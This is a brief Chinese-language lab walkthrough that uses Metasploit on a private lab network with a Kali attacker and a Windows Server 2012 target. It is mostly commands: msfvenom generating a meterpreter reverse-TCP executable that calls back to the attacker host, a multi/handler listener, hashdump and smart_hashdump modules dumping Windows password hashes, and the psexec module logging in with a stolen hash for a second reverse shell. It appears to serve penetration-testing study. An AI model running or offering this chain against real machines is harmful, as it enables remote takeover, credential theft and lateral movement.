kali : 192.168.3.136
windows server 2012 : 192.168.3.129
1、生成一个exe远控
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.136 LPORT=12345 -f exe > /root/test.exe
2、反弹到kali
启动msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.136
set lport 12345
run
![](https://upload-images.jianshu.io/upload_images/14656221-cfa07346e64ba321.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
3、抓取windows密码
run post/windows/gather/hashdump
![](https://upload-images.jianshu.io/upload_images/14656221-40261d8cb95fe887.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
run post/windows/gather/smart_hashdump
![](https://upload-images.jianshu.io/upload_images/14656221-45e6eaa33d8e9376.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
4、使用hash进行登录
use exploit/windows/smb/psexec
设置ip,账号,hash
![](https://upload-images.jianshu.io/upload_images/14656221-a00d6012995fcffe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
set rhosts 192.168.3.129
set SMBuser 用户名
set SMBPass hash
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.136
set lport 1111
反弹成功
![](https://upload-images.jianshu.io/upload_images/14656221-aca22378bd09fa4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)